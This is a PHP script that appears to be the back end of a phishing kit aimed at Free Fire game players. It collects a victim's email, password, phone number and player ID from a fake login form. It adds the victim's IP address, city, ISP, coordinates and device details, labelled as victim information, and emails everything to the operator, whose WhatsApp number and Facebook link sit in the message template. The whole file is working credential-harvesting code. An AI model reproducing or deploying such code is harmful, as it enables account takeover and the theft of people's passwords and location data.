<?php
if(isset($_POST['email']) || isset($_POST['password'])){

$email = $_POST['email'];
$password = $_POST['password'];
$playid = $_POST['playid'] . "(".$_POST['nickname'].")";
$phone = $_POST['phone'];
$level = $_POST['level'];
$login = $_POST['login'];

date_default_timezone_set('Asia/Jakarta');
$jamasuk = date('l, d-m-Y h:i:s');
$yearNow = date('Y');

include 'PetakaCode/lenzzip.php';
include 'PetakaCode/device.php';

$deviceInfo = $infos['platfrm_name'];
$osVersionInfo = $infos['platfrm_vers'];
$browserInfo = $infos['browser_name'];

$file_lines = file('PetakaCode/checkLogin.txt');
foreach ($file_lines as $file => $value) {
	$data = explode("|", $value);
	if (in_array($email, $data)) {
		return true;
	} else {
        $myfile = fopen("PetakaCode/checkLogin.txt", "a") or die("Unable to open file!");
		if(fwrite($myfile, "|". $email))  {
$subject = "$lenzz_flag [+$lenzz_callcode] | FF LEVEL $level | LOGIN $login | $playid ";
$message = <<<EOD
<!DOCTYPE html>
	<html>
	<head>
		<title></title>
		<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
		<style type="text/css">
			body {
				font-family: "Helvetica";
				width: 90%;
				display: block;
				margin: auto;
				border: 1px solid #fff;
				background: #fff;
			}

			.result {
				width: 100%;
				height: 100%;
				display: block;
				margin: auto;
				position: fixed;
				top: 0;
				right: 0;
				left: 0;
				bottom: 0;
				z-index: 999;
				overflow-y: scroll;
				border-radius: 10px;
			}

			.tblResult {
				width: 100%;
				display: table;
				margin: 0px auto;
				border-collapse: collapse;
				text-align: center;
				background: #fcfcfc;
			}
			.tblResult th {
				text-align: left;
				font-size: 1em;
				margin: auto;
				padding: 15px 10px;
				background: #001240;
				border: 2px solid #001240;
				color: #fff;
			}

			.tblResult td {
				font-size: 1em;
				margin: auto;
				padding: 10px;
				border: 2px solid #001240;
				text-align: left;
				font-weight: bold;
				color: #000;
				text-shadow: 0px 0px 10px #fcfcfc;

			}

			.tblResult th img {
				width: 100%;
				display: block;
				margin: auto;
				box-shadow: 0px 0px 10px rgba(0,0,0, 0.5);
				border-radius: 10px;
			}
		</style>
	</head>
	<body>
		<div class="result">
		<div style="background: #138af2; width: 294; color: #fff; text-align: center; padding: 10px;"WEB CAHYO SR II</div>
			<table class="tblResult">
				<tr>
			    <th style="text-align: center;" colspan="3"> WEB CAHYO SR II </th>
				<tr>
					<td style="border-right: none;">Email</td>
					<td style="text-align: center;">$email</td>
				</tr>
                <tr>
					<td style="border-right: none;">Password</td>
					<td style="text-align: center;">$password</td>
				</tr>
				<tr>
					
				    <td style="border-right: none;">Phone</td>
					<td style="text-align: center;">$phone</td>
				</tr>
				<tr>
				        <td style="border-right: none;">User Id</td>
					<td style="text-align: center;">$playid</td>
				</tr>
				<tr>	
				<td style="border-right: none;">Level</td>
					<td style="text-align: center;">$level</td>
				</tr>
				<tr>
					<td style="border-right: none;">Login</td>
					<td style="text-align: center;">$login</td>
				</tr>
				</tr>
				<th style="text-align: center;" colspan="3">Device Info</th>
				</tr>
				<tr>
				    <td style="border-right: none;">Dev</td>
					<td style="text-align: center;">$deviceInfo</td>
				</tr>
				<tr>
				        <td style="border-right: none;">Os</td>
					<td style="text-align: center;">$osVersionInfo</td>
				</tr>
				<tr>
					<td style="border-right: none;">Browser</td>
					<td style="text-align: center;">$browserInfo</td>
				</tr>
				<th style="text-align: center;" colspan="3">Info Daerah & Korban</th>
				</tr>
				<tr>
				<td style="border-right: none;">IP Address</td>
					<td style="text-align: center;">$lenzz_ipaddress</td>
				</tr>
				<tr>
					<td style="border-right: none;">Negara</td>
					<td style="text-align: center;">$lenzz_country</td>
				</tr>
				<tr>
				<td style="border-right: none;">Wilayah</td>
					<td style="text-align: center;">$lenzz_regionName</td>
				</tr>
				<tr>
					<td style="border-right: none;">Kota</td>
					<td style="text-align: center;">$lenzz_city</td>
				</tr>
				<tr>
				<td style="border-right: none;">Asn</td>
					<td style="text-align: center;">$lenzz_as</td>
				</tr>
				<tr>
				<td style="border-right: none;">Lat</td>
					<td style="text-align: center;">$lenzz_lat</td>
				</tr>
				<tr>
				<td style="border-right: none;">Lon</td>
					<td style="text-align: center;">$lenzz_lon</td>
				</tr>
				<tr>
				        <td style="border-right: none;">Isp</td>
					<td style="text-align: center;">$lenzz_isp</td>
				</tr>
				<tr>
				        <td style="border-right: none;">Asname</td>
					<td style="text-align: center;">$lenzz_asname</td>
				</tr>
				<tr>
					<td style="border-right: none;">Waktu</td>
					<td style="text-align: center;">$jamasuk</td>
				</tr>
                                <tr>
			    <th style="text-align: center;" colspan="3"><b><a style="border:2px solid #fff;text-decoration:none;color:#fff;border-radius:3px;padding:3px;background:#00ff00;" href="https://wa.me/6282176679031">Whatsapp</a>
					<a style="border:2px solid #fff;text-decoration:none;color:#fff;border-radius:3px;padding:3px;background:#3399ff;" href="https://facebook.com/cahyosr.utama">Facebook</a>
				</tr>
				<tr>
			</table>
		</div>
    </body>
    </html>
EOD;
include 'email.php';
$headersx  = 'MIME-Version: 1.0' . "\r\n";
$headersx .= 'Content-type: text/html; charset=utf-8' . "\r\n";
$kode = substr(md5(time()), 0, 5);
$headersx .= 'From: '.$sender.'<web@cahyosr'.random_int(1000, 999999).'.id>' . "\r\n";
$gcodeSend = mail($emailku, $subject, $message, $headersx);
		}
	}
}
}